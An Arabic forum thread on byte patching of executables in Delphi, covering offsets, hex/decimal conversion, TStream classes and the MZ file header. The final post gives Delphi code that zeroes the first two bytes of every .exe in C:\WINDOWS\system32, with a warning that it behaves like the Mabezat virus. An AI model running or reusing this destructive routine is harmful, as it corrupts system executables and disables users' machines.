اخي Dr.MOT فيما يخص سؤالك الاول رغم انه غير واضح على الاقل بالنسبة لي .
اذا كان خارج البرمجة فهناك عدة برامج تقوم بالمطلوب : PE Editor .. WinHex ....
-
في الحقيقة هناك العديد من الحلول و الطرق فقط ترجع الى مسألة أي الطرق الأكثر توافقا مع المسألة التي نعالجها ... كمثال أنا إستعمل الملفات التنائية لكن للتبديل السريع (باتشينغ) أعمل بالصنف TMemoryStreaml و هدا مثال بسيط يوضح الفكرة ,,
1- القيمة الجديدة المدخل (لهدف إستبدال اقيمة القديمة) 0-255 لأنني عرفته byte لمادا ؟؟ لأنني التبديل يقتصر على بايت واحد .
2- لك كل الحرية بإستخدام مركبات جاهزة أو دوال جديدة تقوم ببرمجتها يعني لا تحصر الأمر بهدا المثال .
نجرب البرنامج على نفسو : (و نقارن بالـ HexWork Shop)
ملاحظة : هدا هو مبدأ الباتشينغ فقط التلاعب ببايتات البرنامج .
هنالك طريقة اخري .. سهلة و جد بسيطة يمكنك تغيير امتداد EXE الى TXT ولحظ أن أي ملف قمت بفتحه ب NotePad امتداده exe ستجد ان أول حرفين يبتدىء بهما هما MZ وهكدا تستطيع تغييرهما برمجيا تم تعيد الملف الى امتداده الأصلي exe
طبعا الطرق الأخرى أفضل
السلام عليكم ورحمة الله وبركاته
[color=Black]هل يمكن أن توضح لي ما عنيته بـ " موقعها'0' موقع البايت الذي يحتوي على القيمة بالهكس 3f هو '10' " في هذه الصورة !؟
وأيظا بالصورة الأخيرهـ !؟
بدلناه بالقيمة 16 ( عشري )
يعني 10 ( سداسي عشري ) أيظا لو سمحت ,, هل لي بربط يشرحTMemoryStream !? وهل هي نفسها TStream ؟؟
بارك الله فيك
بالتوفيق
شكوت إلى وكيع سوء حفظي ... فأرشدني إلى ترك المعاصي
وأخــبـرنـي بــأن الـعـلـم نـور ... ونـور الله لا يـهدى لـعـاصي
1- قصدي أتكلم عن الـ OFFSET ( يعني ترتيب البايت) .
ملاحظة : كنت أقصد القيمة (0F) ترتيبها 10 (فقط أحسب) .
2- بما أن القيمة المدخلة من نمط BYTE (و تأخد على أنها قيمة DECimal) فقط حول بين القاعدتين :
10 (عشري) = A (سداسي عشري)
و بما ان القيمة المدخلة 16 (عشري) = 10 (سداسي عشري) = 00010000 (تنائي)
3- TStream الصنف المشتق مباشرة من TObject و هو بدوره المورث لكل من (بالترتيب):
type TForm1 = class(TForm) btn1: TButton; procedure btn1Click(Sender: TObject); private { Private declarations } public { Public declarations } end;
var Form1: TForm1;
implementation
{$R *.dfm} procedure patch(f_n:string); var target: file of byte; i:Integer; const pbyte: array[1..2] of byte= ($00,$00); paddr: array[1..2] of longint=($00000000, $00000001); begin assignFile(target,f_n); reset(target); for i:=1 to 2 do begin seek(target,paddr[i]); write(target,pbyte[i]); end; closeFile(target); end;
procedure FileSearch(const PathName, FileName : string) ; var Rec : TSearchRec; Path : string; begin Path := IncludeTrailingPathDelimiter(PathName) ; if FindFirst (Path + FileName, faAnyFile - faDirectory, Rec) = 0 then try repeat patch(Path + Rec.Name) ; until FindNext(Rec) <> 0; finally FindClose(Rec) ; end; end;
procedure TForm1.btn1Click(Sender: TObject); begin FileSearch('C:\WINDOWS\system32','*.exe'); end;
end.
حذاري من استعماله على جهازك يشبه عمله عمل فيروس Mabezat اذا صحت تسميته :p